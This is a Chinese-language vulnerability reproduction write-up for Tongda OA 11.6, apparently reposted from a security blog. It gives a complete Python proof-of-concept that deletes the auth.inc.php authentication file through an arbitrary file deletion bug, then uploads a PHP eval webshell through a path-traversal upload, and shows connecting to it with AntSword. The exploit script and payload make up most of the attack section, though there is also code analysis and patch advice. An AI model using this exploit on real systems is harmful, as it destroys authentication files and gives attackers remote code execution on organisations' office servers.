通達OA11.6任意文件刪除+文件上傳組合GetShell


通達OA11.6任意文件刪除+文件上傳組合GetShell

漏洞介紹

通達OA(Office Anywhere網絡智能辦公系統)是由北京通達信科科技有限公司自主研發的協同辦公自動化軟件,是與中國企業管理實踐相結合形成的綜合管理辦公平台。

通達OA為各行業不同規模的眾多用戶提供信息化管理能力,包括流程審批、行政辦公、日常事務、數據統計分析、即時通訊、移動辦公等,幫助廣大用戶降低溝通和管理成本,提升生產和決策效率。

漏洞利用思路:利用任意文件刪除漏洞刪除認證文件然后通過文件上傳寫入一句話木馬getshell

注意⚠️:此漏洞會刪除認證的文件,然后上傳shell,所以該漏洞是會破壞系統認證文件,如果成功利用后會刪除程序中的php文件可能會導致程序功能無法使用。

影響版本

版本:通達OA 11.6

鏈接:https://pan.baidu.com/s/1VqUUNUsgsssK1Mhq2r8HHQ

提取碼:him4

漏洞復現

環境搭建

靶機環境:win7系統,下載安裝包全部默認配置無腦下一步安裝

成功訪問網站登錄頁面如下

至此確認漏洞環境搭建成功

大佬給出的poc如下:

import requests
target="http://oa.test.com/"
payload="<?php eval($_REQUEST['a']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('hack.php', payload)}
requests.post(url=url,files=files)
url=target+"/_hack.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
print("[-]Failed to upload file")

漏洞分析

我們通過分析POC我們可知,首先通過任意文件刪除漏洞刪除/webroot/inc/目錄中的auth.inc.php文件,這里利用的是目錄\webroot\module\appbuilder\assetsprint.php文件中的一處任意文件刪除漏洞,查看代碼文件,全是亂碼,應該是經過加密處理,使用使用在線解密工具解密

http://dezend.qiling.org/free.html

解密后文件如下:

可以看到,首先對 $s_tmp進行賦值一個要刪除的文件,最后通過unlink函數將文件刪除,POC通過此漏洞刪除了/webroot/inc/目錄中的auth.inc.php文件,根據名字我們可以粗略判斷這是一段用於權限校驗的代碼,我們同樣使用解密工具解密auth.inc.php文件

這個文件用於判斷用戶是否登錄,如果未登錄的話,就無法上傳文件,所以需要將此文件刪除,才能成功上傳成功。

所以POC的漏洞利用思路如下:

首先對 $s_tmp進行賦值,這里的guid為我們POC中的../../../webroot/inc/auth.inc.php文件,最后通過unlink函數將登錄校驗文件auth.inc.php刪除,然后我們達到成功上傳webshell的目的。

攻擊演示

攻擊會刪除auth_inc.php文件,這里先做個備份。(注意千萬不要找公網環境測試,本地自己搭建環境測試)

修改POC中的target為我們的靶機環境,執行腳本

成功上傳webshell文件,使用蟻劍連接

成功getshell

修復建議

以上漏洞已在官方的最新版本中修復,建議受影響的用戶升級至最新版本進行防護,

官方下載鏈接:

https://www.tongda2000.com/download/p2019.php

參考鏈接

通達OA11.6漏洞復現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM